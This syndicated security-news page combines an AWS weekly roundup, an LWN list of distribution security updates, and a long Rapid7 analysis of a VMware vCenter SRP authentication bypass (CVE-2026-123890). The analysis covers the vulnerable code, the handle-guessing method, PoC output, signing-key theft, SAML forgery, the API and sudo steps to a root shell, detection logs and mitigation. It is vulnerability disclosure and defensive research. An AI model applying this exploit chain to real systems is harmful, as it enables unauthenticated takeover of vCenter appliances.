Download the MDR Evaluation Scorecard before your next provider review, shortlist meeting, or renewal discussion. Use it to make the evidence comparable and identify exactly what needs resolving before you commit.

AWS Weekly Roundup: Local Zone in Bogotá, 30-minute Lambda timeout, and more (November 24, 2026)

Post Syndicated from Daniel Abib original https://aws.amazon.com/blogs/aws/aws-weekly-roundup-local-zone-in-bogota-30-minute-lambda-timeout-and-more-november-24-2026/

Some limits shape architecture more than any feature does. AWS Lambda launched in 2014 with a 60-second timeout, moved to 5 minutes in 2015 and to 15 minutes in 2018, and then stayed there for eight years. Last week the limit doubled, and in the same week Lambda learned to run on GPUs and gave platform teams their own runtimes. That is a lot of Lambda for one week.

Two other threads ran through the week. A new AWS Local Zone in Bogotá brought AWS infrastructure closer to users in Colombia. And AWS Security Token Service (AWS STS), Amazon Cognito, and Amazon CloudFront each shipped a piece of identity for agents: who an agent is when it shows up at your door, and how little it should be allowed to do. Now, let’s get into this week’s AWS news…

Headlines
AWS Local Zone in Bogotá, Colombia – AWS opened a new Local Zone in Bogotá, so you can now run applications that need single-digit millisecond latency closer to users in Colombia. AWS Local Zones place compute, storage, and networking near large metropolitan areas with the same APIs and tools as a Region, for workloads like real-time gaming, live streaming, and financial transactions. The Bogotá Local Zone supports Amazon EC2 C7i, M7i, and R7i instances, Amazon EBS gp3, gp2, and io1 volumes with local snapshots, Amazon S3 One Zone-Infrequent Access, Amazon ECS, Amazon EKS, AWS Direct Connect, and Application Load Balancer. To start, enable us-east-1-bog-1a in AWS Global View.

AWS Lambda now supports a 30-minute timeout for on-demand Event Functions – You can now configure any Event Function with a timeout of up to 30 minutes (1,800 seconds), double the previous limit, for synchronous, asynchronous, and event source mapping invocations. On Lambda Managed Instances, synchronous invocations also go to 30 minutes, while asynchronous and event source mapping invocations keep the 90-minute timeout from September. Standard Lambda pricing applies, in all commercial Regions. Agentic requests that chain model and tool calls, media transcoding, and file conversion are the workloads AWS calls out. Before raising the value, read the considerations in the Compute blog post: a service that invokes your function synchronously applies its own timeout, client read and socket timeouts need to be longer, and a NAT gateway drops idle connections after 350 seconds, so long calls need keep-alives. For longer work, durable functions still run for up to a year, and now emit OpenTelemetry traces.

AWS Lambda now supports GPU instances for Event Functions on Lambda Managed Instances – You can now run GPU-accelerated inference, media processing, rendering, and scientific computing as Lambda functions, packaged as OCI container images, with no GPU drivers, CUDA versions, or AMIs to reconcile. In the walkthrough, four concurrent requests shared one copy of the model on a single GPU and finished in about the same time as one. It’s optimized for inference with custom models, on G-series instances from G4dn to G6e. You pay the EC2 instance fee (Savings Plans and Reserved Instances apply), a 9.75% management fee for GPU instances, and $0.20 per million requests.

Last week’s launches
Here are some launches and updates from this past week that caught my attention:

Amazon Polly now supports voice cloning – You can now create a custom voice in Amazon Polly from a few minutes of recordings of a consenting speaker, running on the Polly generative engine. It launches in seven languages, including English, Spanish, and Portuguese, and each cloned voice speaks the language it was recorded in. Polly doesn’t keep the recordings or train on them. Creating a voice is free, and you pay for the speech you synthesize. It’s a gated release, so request access through your account team. The ML blog post covers brand-voice use cases for contact centers, voice agents, and content.

AWS Lambda now supports customer-managed runtimes – You can now manage a Lambda runtime as its own resource, separate from function deployment. Platform teams package approved SDKs, certificates, and security or monitoring agents as an OCI image in Amazon ECR, and functions pick up updates as Lambda recycles execution environments, with no per-function redeploys. Updates can be staged, with health metrics and rollback. There’s no additional charge, and the Compute blog walkthrough shows the platform-team workflow.

AWS STS announces GetScopedCredentials to scope down permissions at runtime – You can now take the temporary credentials a workload already holds and derive narrower ones, cutting permissions, session duration, or both. The result keeps the caller’s original identity, and permissions only ever narrow, so a sub-agent can never end up with more access than whoever created it. Access to the API is controlled with IAM policies, and every call lands in AWS CloudTrail. It’s available in all commercial Regions and beyond, including GovCloud (US) and China.

Amazon Cognito now supports dynamic client registration – You can now let MCP clients and AI agents register themselves at runtime (RFC 7591) instead of creating an app client in advance for each one. You choose between requiring an access token with a registration scope or opening registration to any client, and dynamically registered clients carry a client ID prefix so you can filter and manage them with the rest. It’s available on the Essentials and Plus plans, and client ID metadata documents arrived the same week.

Amazon CloudFront Functions now supports network calls – You can now call your own APIs from a function with cf.fetch() and act on the response, so authorization, personalization, or fraud checks that used to need Lambda@Edge or a trip to the origin can run at the edge. AWS’s own example: check an AI agent’s permissions and usage budget before the request reaches your API or MCP server. Network calls cost $0.10 per million on top of invocation charges and are included in the Pro flat-rate plan and above. The Networking blog post also covers cf.beacon() for background analytics.

Amazon Aurora DSQL now supports multi-Region peering across continents – You can now build a multi-Region Amazon Aurora DSQL cluster with peers on different continents, such as US East (N. Virginia) and Europe (Ireland), and read and write to one strongly consistent database from both. It was a busy week for DSQL: PL/pgSQL functions and procedures arrived, and storage upgrades brought up to 50% higher write throughput at no additional cost.

For a full list of AWS announcements, be sure to keep an eye on the What’s New with AWS page.

Other AWS news
Here are some additional posts and resources that you might find interesting:

How the BMW Group governs hundreds of agents across thousands of developers – With more than 12,500 developers in R&D, BMW treats governance as deterministic code outside the agent’s reasoning loop, mostly in the CI/CD pipeline, so neither the agent nor its prompts can override it.

AI coding agents on Amazon EC2 Mac: How Cognition scales Devin for macOS – Cognition starts a fresh macOS VM for each Devin session in under a minute on Amazon EC2 Mac hosts across six Regions. The detail worth stealing: sessions are decoupled from hosts, and Cognition reports that about 90% release their VM when idle and resume from a snapshot in seconds.

How Klaviyo processes 3 billion daily events at scale with Amazon MSK Express – Timely reading for Black Friday week. Klaviyo moved from RabbitMQ to Amazon MSK Express brokers to absorb roughly 7 times normal event volume during Black Friday and Cyber Monday. Running one set of processors across three priority topics, instead of separate infrastructure per level, cut costs by roughly 30%, according to the team.

Upcoming AWS events
Check your calendar and sign up for upcoming AWS events:

AWS re:Invent – It’s next week: join the community in Las Vegas from November 30 to December 4, or register for the free livestream to follow the keynotes and selected sessions remotely.

AWS Community Days – Find community-led technical talks, workshops, and hands-on learning near you. Check each organizer’s page for current dates and registration details.

Join the AWS Builder Center to connect with builders, share solutions, and access content that supports your development. Browse here for upcoming AWS-led in-person and virtual events and developer-focused events.

That’s all for this week. Check back next Monday for another Weekly Roundup!

– Daniel Abib

This post is part of our Weekly Roundup series. Check back each week for a quick roundup of interesting news and announcements from AWS!

Security updates for Tuesday

Post Syndicated from jzb original https://lwn.net/Articles/1109472/

Security updates have been issued by AlmaLinux (aspell, curl, fence-agents, flatpak, flatpak-builder, freerdp, git-lfs, golang, grafana, grafana-pcp, gstreamer1-plugins-good, kernel, kernel-rt, libgsf, liblerc, mutter, netpbm, nodejs26, openssh, patch, perl-CGI, php, php:8.2, php:8.3, php:8.4, podman, python-oauthlib, python36:3.6, qt6-qtbase, rsync, ruby, ruby4.0, skopeo, sqlite, virt:rhel and virt-devel:rhel, wayland, webkit2gtk3, and xdg-desktop-portal), Debian (chromium, mediawiki, pymongo, and radsecproxy), Fedora (c-ares, clamav, libmodulemd, mimedefang, mycli, poppler, sqlite, tpm2-tss, xfsprogs, and xorg-x11-server-Xwayland), Gentoo (GPGME and GPL Ghostscript), Oracle (bind, bind9.18, cifs-utils, cockpit-files, cockpit-machines, curl, dovecot, edk2, expat, fence-agents, firefox, freerdp, gfs2-utils, grafana-pcp, java-1.8.0-openjdk, kernel, libgsf, librabbitmq, mingw-expat, netpbm, nginx, nodejs:26, openssh, perl-URI, php8.4, python-oauthlib, python3.9, qt5-qtbase, skopeo, sos, thunderbird, and xdg-desktop-portal), Red Hat (curl, libevent, libvirt, mariadb-connector-c, php8.4, php:8.2, python, python3, python3.11, python3.9, sssd, and thunderbird), SUSE (bind, cockpit, dpdk, helm, libXi, mozilla-nss, MozillaFirefox, mtools, nginx, parted, pcre2, python-M2Crypto, python-maturin, python-tornado, ruby2.5, ruby3.4, sbc, and shadow), and Ubuntu (libssh, linux-aws, linux-azure, linux-azure-fde, linux-gcp, linux-oracle, linux-azure, linux-azure-5.15, linux-azure-fde-5.15, linux-raspi, linux-azure, linux-azure-6.8, linux-azure-fde, linux-azure-fde-6.8, linux-azure-fips, linux-azure-5.4, linux-azure-fips, linux-azure-fde, linux-azure-fips, linux-azure-fde, linux-oracle, linux-oracle-7.0, linux-raspi, linux-realtime, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, python-oauthlib, qt6-5compat, ruby2.7, ruby2.5, ruby2.3, and tomcat10, tomcat11).

Rapid7 Analysis: VMware vCenter SRP Authentication Bypass to Root (CVE-2026-123890)

Post Syndicated from Jack Heysel original https://www.rapid7.com/blog/post/ra-rapid7-analysis-vmware-vcenter-srp-authentication-bypass-to-root-cve-2026-123890

Overview

An unauthenticated attacker can retrieve the session key for an in-progress administrator login to VMware vCenter’s directory service. The attacker then uses that key to complete the login without knowing the account’s password. The vulnerable interface is exposed through DCE/RPC on TCP port 2012.

The issue, tracked as CVE-2026-123890, combines a Secure Remote Password (SRP) session-key getter that is callable before authentication with an RPC context lookup that does not enforce ownership. The context handles use predictable UUIDv1 values. By creating two reference contexts around a pending login, an attacker can narrow the hidden login handle to a short timestamp window and ask the server for its key.

We reproduced the bypass against vCenter Server Appliance 8.0.2.00400, build 23929136, running Photon OS 4.0, and leveraged the resulting administrator connection through to root command execution. SSH and Bash access were initially disabled. The attack recovered the directory database and its Security Token Service (STS) signing key, forged an administrator API session, and used appliance administration features to create an account and enable SSH. Neither the existing SSO password nor the root password was an input to that chain.

Impact

The attacker needs network access to TCP 2012 and the name of an existing SSO principal. Our PoC uses the default SSO administrator principal, [email protected]; deployments using a different SSO domain need the corresponding account name. The attack does not depend on an existing authenticated connection or an administrator being online. The attacker initiates the login attempt in order to recover its session key.

The authenticated connection can call the directory database-copy interface. Its raw database contains the STS private signing key, allowing the attacker to sign administrator assertions that vCenter trusts. Our attack workflow used a forged assertion to create a local appliance superAdmin account, enable SSH and Bash, and execute commands as root through sudo. This final part requires access to the HTTPS API on TCP 443 and SSH on TCP 22, in addition to TCP 2012. It uses the administrative privileges obtained through the original bypass; no second vulnerability is needed once you have administrative RPC access.

Technical Analysis

Returning the key before checking the proof

// vmdir/server/vmdir/rpcsrpserv.c

 long Srv_rpc_srp_verifier_get_session_key(
 handle_t hServer,
 srp_verifier_handle_t hSrp,
 rpc_p_srp_bytes_container ret_key_cont)
 {
// ...
 struct SRPVerifier ver = (struct SRPVerifier *) hSrp; //[A1]
 rpc_p_srp_bytes_container key_cont = NULL;
if (!ver)
{
    sts = rpc_s_invalid_handle;
    goto error;
}
key = srp_verifier_get_session_key(ver, &key_len);     // [A2]
if (!key || key_len == 0)
{
    sts = rpc_s_auth_nokey;
    goto error;
}
sts = _srp_bytes_container_allocate(key, key_len, &key_cont);
if (sts)
{
    goto error;
}
*ret_key_cont = key_cont;                             // [A3]
// ...
}

The SRP RPC getter receives an SRP verifier at [A1], obtains its session key at [A2], and returns a copy at [A3]. It checks whether the verifier and key exist. It does not check whether the caller has authenticated, whether the caller owns the verifier, or whether the SRP client has supplied a valid password proof.

The value at [A1] is a server-side pointer that the RPC runtime resolves from the context handle supplied in the request. Each newly created verifier context receives its own UUID, so the attacker needs the handle for the specific pending login they want to complete. These context UUIDs identify individual verifier instances; the fixed interface UUIDs identify the available RPC interfaces.

UUIDv1 values contain a timestamp, clock sequence, and node identifier. The attacker creates a verifier immediately before starting the target login and another immediately afterward, obtaining both reference UUIDs without authenticating. On the tested service, the reference UUIDs share their clock sequence and node identifier. The attacker reuses those fields and searches the intervening timestamps for the pending login’s live verifier, keeping the login connection open throughout the search.

// vmdir/thirdparty/csrp/srp.c 
int srp_verifier_is_authenticated(struct SRPVerifier *ver)
{
    return ver->authenticated; // [A4]
}
// ...
const unsigned char *srp_verifier_get_session_key(
    struct SRPVerifier *ver, int *key_length)
{
    if (key_length)
        *key_length = hash_length(ver->hash_alg);
    return ver->session_key; // [A5]
}

The underlying SRP library exposes the authentication flag separately at [A4]. Its key getter at [A5] does not consult that flag. The server has already computed the shared key while generating its challenge, because it needs that key to verify the client’s proof. Returning it at this stage gives the client the secret needed to produce that proof.

Resolving another connection’s context

// dcerpc/idl_lib/ctxeectx.c
void rpc_ss_ee_ctx_from_wire(
    ndr_context_handle *p_wire_context,
    rpc_ss_context_t *p_context,
    volatile error_status_t *p_st)
{
    // ...
    p_uuid = &p_wire_context->context_handle_uuid; // [B1]
    // ... nil-handle check and table lock ...
    this_link = &context_table[dce_uuid_hash(p_uuid,
        (error_status_t *)p_st) % CALLEE_CONTEXT_TABLE_SIZE]; // [B2] 
    while (!dce_uuid_equal(p_uuid, &this_link->uuid,
        (error_status_t *)p_st))
    {
        this_link = this_link->next_context;
        // ... reject a missing entry ...
    }
    *p_context = this_link->user_context; /* [B3] */
    // ...
}

The RPC runtime takes the supplied UUID at [B1], searches a process-wide table at [B2], and returns the associated context at [B3]. There is no comparison with the requesting connection or its authenticated identity. Although context creation records a client for lifetime management, that client is not part of this lookup’s authorization decision (hooray!!).

We confirmed the boundary directly: one anonymous RPC connection created an SRP verifier, and a second anonymous connection retrieved that verifier’s key before any password proof was sent. The first connection’s context handle was enough to make the second connection’s request succeed.

The service registers the helper with a secure-interface flag and an authentication callback. On the tested TCP path, however, the RPC executor retrieves those registration values and dispatches the server stub without enforcing the callback. Other directory handlers perform their own access checks. The SRP key getter has no equivalent check, leaving it reachable before authentication.

Predictable handles make the lookup usable

// dcerpc/uuid/uuidsys.c
void uuid__get_os_time(dce_uuid_time_t *uuid_time)
{
    // ...
    if (gettimeofday(&tp, (struct timezone *)0))           // [C1]
    {
        perror("uuid__get_os_time");
        exit(-1);
    }
    uuid__uemul((long)tp.tv_sec, UUID_C_100NS_PER_SEC, &utc);
    uuid__uemul((long)tp.tv_usec, UUID_C_100NS_PER_USEC, &usecs); // [C2]
    UADD_UVLW_2_UVLW(&usecs, &utc, &utc);
    // ... add the UUID epoch offset ...

The UUID timestamp generator reads the wall clock at [C1] and converts its microseconds into 100-nanosecond UUID ticks at [C2]. The resulting UUIDv1 handle also contains a clock sequence and node identifier. In our captures, those latter fields remain stable while newly created contexts advance through the timestamp space.

vmdir manages this SRP authentication exchange through the Generic Security Service API (GSS-API), which provides a common interface for authentication mechanisms. Starting the login creates an SRP verifier internally, but the login client does not receive its context handle.

An attacker can obtain reference handles by creating ordinary SRP verifiers through the helper interface. Creating one immediately before the GSS-API login and another immediately afterward bounds the timestamp of its hidden verifier. The shared node and clock-sequence fields then let the attacker construct candidate UUIDs within that interval.

The default search advances in increments of ten UUID ticks, matching the clock’s microsecond resolution. The generator also supports uniqueness adjustments within a clock tick, so the PoC includes a one-tick search mode. Clock changes, concurrent activity, and the chosen search bounds can affect recovery; exhausting the window does not establish that a target is patched.

Exploit

Narrowing the Search Window for a Pending Login

The service exposes two relevant RPC interfaces on port 2012:

Interface

UUID

Operations used

SRP verifier helper

c7e94609-6ab0-4767-8e92-b6485bff1649

Create verifier, retrieve key, delete verifier

vmdirdbcp

72c780fe-af6b-42ba-9b02-f61f4ccc98ed

SRP-authenticated bind, directory state, and database open/read/close

The helper’s operation numbers are 0 for verifier creation, 1 for key retrieval, and 4 for deletion. GetState is operation 4 on the separate vmdirdbcp interface. The interface UUID is therefore part of identifying an operation; the operation number alone is ambiguous.

The client first creates a reference verifier, starts a separate SRP login as the target principal (e.g. [email protected]), and creates the second reference verifier. It keeps the login connection open while querying candidate handles over another anonymous connection. These are all connections controlled by the attacker.

GSS does not return the handle for its own verifier. A reference verifier for the same principal has a different session key, so retrieving that reference key does not complete the pending GSS login. We need the key from the verifier associated with the login connection; the reference handles only narrow the search for it.

In the final standalone PoC test, the reference handles were:

Before: 1d98c67a-e468-11f1-b101-000c29451b35
Hidden: 1d99c43a-e468-11f1-b101-000c29451b35
After:  1d9a8a14-e468-11f1-b101-000c29451b35

The interval between the reference timestamps was 115,610 UUID ticks, or about 11.56 milliseconds. The search recovered the hidden handle shown above after 5,083 queries. Four workers issued the queries in that Python test, so the count includes requests that were already in flight when the match was found.

The SRP verifier helper returns the pending login’s actual 20-byte session key. The attack does not need a weak password, a password hash from disk, or an invalid SRP public value. 

Completing SRP with the disclosed key

M1   = SHA1((SHA1(N) XOR SHA1(g)) || SHA1(I) || s || A || B || K)
HAMK = SHA1(A || M1 || K)

Here, I is the requested principal, N and g are the SRP group parameters, s is the server’s salt, and A and B are the public values exchanged during login. The server sends s alongside B in its initial SRP challenge, before the client supplies a password proof. The salt is public: a legitimate client uses it with the password to derive the values needed for authentication.

The client already has all of these inputs except K. Once the key getter supplies K, the client can calculate the normal client proof, M1, and verify the server’s response, HAMK.

The attack does not need a weak password, a password hash from disk, or an invalid SRP public value. Our client uses the valid public value A = 2 in the normal 2048-bit group. The reference verifiers use the cheaper 1024-bit group only to obtain the timing bounds.

The implementation hashes minimal big-endian integer representations. On the tested build, the returned B is 276 bytes because CSRP serializes k*v + g^b without first reducing the sum modulo N. Reducing or truncating that returned value while building the transcript produces the wrong proof.

The successful mechanism on this build is the legacy SRP OID 1.2.840.113554.1.2.10. Its token framing also differs from a conventional GSS wrapper: the outer length covers the OID, with the SRP state token following it. The client carries the exchange in SPNEGO bind and ALTER_CONTEXT messages, using RPC packet privacy. Matching that framing is necessary to reach the vulnerable authentication flow.

Proving the authenticated connection

The client derives packet-protection keys from the recovered SRP key using the server’s normal implementation. PBKDF2-HMAC-SHA1 expands the key into 64 bytes using the principal as salt and 128 iterations. Those bytes supply an IV, material for the Kerberos AES-256 string-to-key operation, and a 16-byte HMAC key. RPC stubs are encrypted with AES-CBC and authenticated with HMAC-SHA1 over the ciphertext.

PoC output:

{"time": "2026-11-19T22:25:25.919835+00:00", "event": "session_key_disclosed", "uuid": "1d99c43a-e468-11f1-b101-000c29451b35", "key": "1f1476617a050b8e30388e0f58ed80d83f01aa02", "guesses": 5083, "seconds": 0.8774298130301759}
{"time": "2026-11-19T22:25:25.952425+00:00", "event": "srp_authentication_complete", "username": "[email protected]", "M1": "af03ad96cb799381bf8e9a30a412b4371e24729d", "HAMK": "537b2d5753f213304824551077bddd51ed6693ae", "password_supplied": false}
{"time": "2026-11-19T22:25:26.226964+00:00", "event": "protected_rpc_result", "operation": "RpcVmDirGetState", "state": 3, "status": 0, "plaintext": "0300000000000000"}

We used RpcVmDirGetState to test the resulting connection to 192.168.1.81. An anonymous request returned status 5, ACCESS_DENIED. The authenticated request above returned 0300000000000000: the little-endian directory state, 3 (Normal), followed by the operation’s success status, 0. The PoC checked the server’s SRP proof and the encrypted response’s MAC before accepting the result.

Key recovery took approximately 0.88 seconds in this run. The complete test retained the original RPC traffic and a packet capture with 15,343 packets and zero kernel drops.
This brings us to the end of exploiting CVE-2026-123890. We have demonstrated how we can authenticate to VMware vCenter’s directory service as the administrator user and will now outline how that access can be used to get root access to the device. 

Reading the directory database

vmdir/server/vmdir/rpcserv.c, Srv_RpcVmDirOpenDatabaseFile:

// vmdir/server/vmdir/rpcserv.c
UINT32 Srv_RpcVmDirOpenDatabaseFile(
    handle_t hBinding,
    PWSTR pwszDBFileName,
    vmdir_dbcp_handle_t *ppFileHandle)
{
    // ...
    DWORD dwRpcFlags = VMDIR_RPC_FLAG_ALLOW_TCPIP
                       | VMDIR_RPC_FLAG_REQUIRE_AUTH_TCPIP
                       | VMDIR_RPC_FLAG_REQUIRE_AUTHZ;
    // ...
    dwError = _VmDirRPCCheckAccess(hBinding, dwRpcFlags,
        pszDomainDn, &pAccessToken);                      // [D1]
    BAIL_ON_VMDIR_ERROR(dwError);
    // ... validate arguments and convert the filename ...
    dwError = _VmDirRemoteDBCopyWhiteList(pszDBFileName);  // [D2]
    BAIL_ON_VMDIR_ERROR(dwError);
    // ...
    if ((pFileHandle = fopen(pszDBFileName, "rb")) == NULL)
    {
        // ... report the open failure and take the error path ...
    }
    *ppFileHandle = pFileHandle;                          // [D3]
    // ...

The database-copy handler requires authentication and authorization at [D1]. The earlier bypass satisfies those checks as the SSO administrator. The filename passes a database-path allowlist at [D2], and the handler returns a file context at [D3]. We requested /storage/db/vmware-vmdir/data.mdb through that interface.

The IDL assigns operation 0 to open, 1 to read, and 2 to close. The open request carries a reference wide string and an initially empty context handle. Each read supplies the returned context, a byte count, and an empty output container. Reads continue until the server returns a zero byte count.

Our first complete export contained 16.22 MB. We used 2,048-byte reads so the response, encryption padding, and verifier fit into a single RPC fragment. The directory stayed in state 3, Normal; we did not call RpcVmDirSetBackendState or take the service offline. These calls copy the live file rather than producing a transaction-consistent backup. The downloaded file contained the signing credential needed for the next step.

Signing an administrator API assertion

The TenantCredential-1 record in data.mdb contains the STS RSA private key and its certificate chain. Metasploit already provides extraction and SAML-signing code in vcenter_offline_mdb_extract and vcenter_forge_saml_token. We reused those implementations, matched the signing certificate to the recovered private key, and verified its VMCA issuer.

The signed assertion identifies [email protected] and carries the existing template’s administrator group claims, including SystemConfiguration.Administrators. The issuer uses the appliance’s STS identity, and the assertion includes a short validity window. Once the XML is signed, changing its whitespace can invalidate the digest, so the client preserves its compact serialization.

lib/msf/core/exploit/remote/http/vmware_vcenter.rb, API login:

token = Base64.strict_encode64(Zlib.gzip(assertion))        # [E1]
response = vcenter_api_request(
  'POST', %w[com vmware cis session], port: port, host: host,
  headers: { 'Authorization' => "SIGN token=\"#{token}\"" }
)
session_id = vcenter_api_value(response)                   # [E2]

The client gzip-compresses and Base64-encodes the assertion at [E1], following the vendor REST SDK’s SAML login example. A successful POST /rest/com/vmware/cis/session returns the API session ID at [E2]. Subsequent requests carry it in the vmware-api-session-id header. Our forged assertion returned HTTP 200 and authorized reads of the appliance’s SSH and Bash settings.

From the appliance API to root

The authenticated API session gives us a way to create credentials that SSH will accept. We created a fresh local account through the appliance local-accounts API, assigning the superAdmin role. This is an operating-system account on the appliance; creating it does not require changing an existing account’s password.

The tested build accepts the account-creation request through the legacy REST route POST /rest/appliance/local-accounts/<username>, with its configuration inside a config object. The configuration supplies the generated password, roles: [“superAdmin”], and enabled: true. The same API session enables SSH with PUT /rest/appliance/access/ssh and {“enabled”:true}, then enables Bash with PUT /rest/appliance/access/shell and {“config”:{“enabled”:true,”timeout”:600}}.

/etc/sudoers.d/applmgmt on the tested appliance:

%superAdmin ALL= PASSWD: ALL, NOPASSWD: OPERATOR_N, ADMINISTRATOR_N

That sudo rule allows the new account to run commands as root using its own generated password. An SSH login initially enters the appliance CLI, so the client requests a PTY and starts shell /bin/bash. After answering the appliance’s sudo password prompt, it starts sudo -n /bin/bash -i on the same terminal. The sudo timestamp from that authentication permits the retained root shell.

We verified uid=0(root) gid=0(root) groups=0(root),4044(shellaccess) through the resulting SSH connection. This account and password were created by the forged API session; the supplied lab root credentials were used separately for inspection and were not used to obtain this shell.
Using the sessions in Metasploit

[*] 192.168.1.81:2012 - Recovered the pending session key after 17337 guesses in 8.12 seconds
[*] 192.168.1.81:2012 - Recovered context 688f5878-e487-11f1-b101-000c29451b35, key f56a33e23fad8b8d340c8ca0887aebe1fb793bab
[+] 192.168.1.81:2012 - Authenticated as [email protected] without a password; protected directory state: 3
[+] 192.168.1.81:2012 - Saved authentication evidence to /Users/jheysel/codex_research/vsphere_armory_castle_20261119/metasploit/config/loot/20261119190933_default_192.168.1.81_vmware.vmdir.srp_059381.json
[*] VMware directory RPC session 3 opened (192.168.1.70:61547 -> 192.168.1.81:2012) at 2026-11-19 19:09:34 -0700
[*] 192.168.1.81:2012 - Interacting with vmdir session 3; use background to return to msfconsole
vmdir > whoami
Authenticated SSO principal: [email protected]
vmdir > state
Directory state: 3
vmdir > state
Directory state: 3

The Metasploit module separates the inexpensive key-disclosure check from the full authentication attempt. check creates an owned verifier and asks for its key through a second anonymous association. run then performs the pending-login search, completes SRP, and verifies the protected operation.

The module’s default RPC action retains the authenticated association and exposes a vmdir > prompt with state and whoami commands. Selecting ACTION SHELL continues through database export, SAML API authentication, and SSH to a root command shell. The fresh end-to-end test produced the following output:

[+] 192.168.1.81:2012 - Root execution verified: uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
[*] Command shell session 1 opened (192.168.1.70:62059 -> 192.168.1.81:22) at 2026-11-20 07:48:25 -0700
...
[*] 192.168.1.81:2012 - Interacting with shell session 1; use background to return to msfconsole
...
root [ /home/sebastian-fritsch ]# id
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

CreateSession defaults to true for either action. We resumed the root shell and ran id to show root access before exiting. 

The shell action saves the generated account credentials and original SSH/Bash settings before changing the appliance. It retains the temporary account and access settings while the session is open. On exit, it closes SSH, restores the original settings, and deletes its account through the API. The order matters: the appliance refuses to delete an account that still has running processes, and disabling SSH terminates active connections. Closing the console abruptly can prevent cleanup; the saved recovery details identify the account and settings to restore.

Detection opportunities

The unauthenticated key queries are visible before the client establishes packet privacy. Useful network evidence includes repeated calls to operation 1 on the SRP helper interface, with no RPC authentication verifier and context UUIDs that differ mainly in their timestamp fields. In our reproduction, those queries occur between the pending login’s initial bind and its SRP proof continuation.

The helper interface UUID, operation number, authentication state, query volume, and UUID pattern are useful together. A connection to port 2012 or an administrator SRP login on its own does not establish exploitation.

The appliance also retains evidence of the database export and subsequent administration. We recovered the following records from the same vCenter 8.0.2.00400 appliance after the test accounts had been removed.

/var/log/vmware/vmdird/vmdird-syslog.log:

2026-11-20T14:45:46.792144+00:00 info vmdird  t@140450245629504: Remote DB transfer (/storage/db/vmware-vmdir/data.mdb) granted.

The directory service records this message when its filename allowlist grants a remote database-copy request. It identifies the requested database, but does not include the caller’s address or prove that the transfer completed. An unexpected grant for data.mdb provides a timestamp to correlate with network traffic and the later API activity; legitimate directory replication can also use this interface. The SRP bypass can occur without a database-copy request, so this entry identifies the export stage.

/var/log/vmware/vapi/endpoint/endpoint-access.log:

2026-11-20T14:48:08.065Z | vAPI-I/O dispatcher-0     | e97ae44e-a503-4b58-9b68-1168c80e89c6 | 192.168.1.70 - - [20/Nov/2026:14:48:07 +0000] "POST /rest/appliance/local-accounts/sebastian-fritsch HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" 233

The API access log records the source address, request path, status, and user-agent. This request creates the account used by the root-shell stage. The same file contains our POST /rest/com/vmware/cis/session, PUT /rest/appliance/access/ssh, PUT /rest/appliance/access/shell, and eventual account-deletion requests. An HTTP 200 on a settings request does not reveal which value was applied, so the appliance management log supplies the next part of the sequence.

/var/log/vmware/applmgmt/applmgmt.log:

2026-11-20T14:48:07 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] created the local account user sebastian-fritsch
2026-11-20T14:48:09 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.ssh.set(enable=True)
2026-11-20T14:48:10 PM UTC [47843]DEBUG:root:com.vmware.appliance.version1.access.shell.set(config=Structure('ShellConfig', dict(enabled=True, timeout=600)))
2026-11-20T14:49:34 PM UTC [47843]INFO:vmware.appliance.localaccounts.localaccounts_impl:[email protected] deleted the local account  user sebastian-fritsch.

These records identify [email protected] as the account creator and show SSH and Bash being enabled. The configuration values appear in DEBUG-level records on the tested appliance; the account creation and deletion records are INFO-level. The forged SAML session is treated as an administrator session, so that identity alone does not distinguish it from legitimate administration.

/var/log/audit/sshinfo.log.1.gz, decompressed:

2026-11-20T14:48:12.368544+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sshd[592859]: Accepted password for sebastian-fritsch from 192.168.1.70 port 62059 ssh2
2026-11-20T14:48:17.298091+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 sudo: sebastian-fritsch : TTY=pts/0 ; PWD=/home/sebastian-fritsch ; USER=root ; COMMAND=/bin/bash -i
2026-11-20T14:49:34.208901+00:00 node-1w7jr9qrllzwd9vncrrr8zlf9 userdel[593806]: delete user 'sebastian-fritsch'

The SSH and sudo records tie the new account to the API client’s address and a root Bash shell. They also retain the deletion performed during cleanup. Search sshinfo.log and its rotated copies; these entries had moved into sshinfo.log.1.gz by the time we collected them. Matching records are also available through the system journal.

/var/log/audit/audit.log:

type=EXECVE msg=audit(1795186087.886:3732): argc=6 a0="/usr/sbin/useradd" a1="-m" a2="-G" a3="superAdmin" a4="--" a5="sebastian-fritsch"
type=EXECVE msg=audit(1795186097.286:3767): argc=4 a0="sudo" a1="-n" a2="/bin/bash" a3="-i"

Linux audit records preserve the command arguments for adding the user to superAdmin and invoking sudo -n /bin/bash -i. These examples come from a rotated audit log. They remain available after the account and its home directory are removed, subject to log retention.

For this reproduced path, correlate an unexpected database-transfer grant with creation of a local administrator, SSH/Bash enablement, and an SSH login followed by sudo. The database-copy grant appears at 14:45:46 UTC, account creation at 14:48:07, and the root-shell command at 14:48:17. These are administrative operations that can occur legitimately; their sequence and whether they fit expected activity determine their value as indicators. The account name, source address, user-agent, UUIDs, and session values shown here belong to our lab run and are not fixed attacker identifiers.

Mitigation

Broadcom identifies vCenter 8.0 U3m as the fixed release for the 8.0 branch in VMSA-2026-0009 and its accompanying FAQ. Other release branches have their own guidance. Apply the vendor’s supported update for the deployed product and keep the directory-service management interfaces reachable only by the systems that need them.

The failed boundary spans both the SRP helper and the RPC runtime: a pending authentication key is exposed, and a connection can resolve a context that it does not own. Replacing predictable UUIDs alone leaves that ownership problem in place. We did not compare the vendor’s fixed binaries, so this analysis does not attribute a particular code change to the patch.

The collective thoughts of the interwebz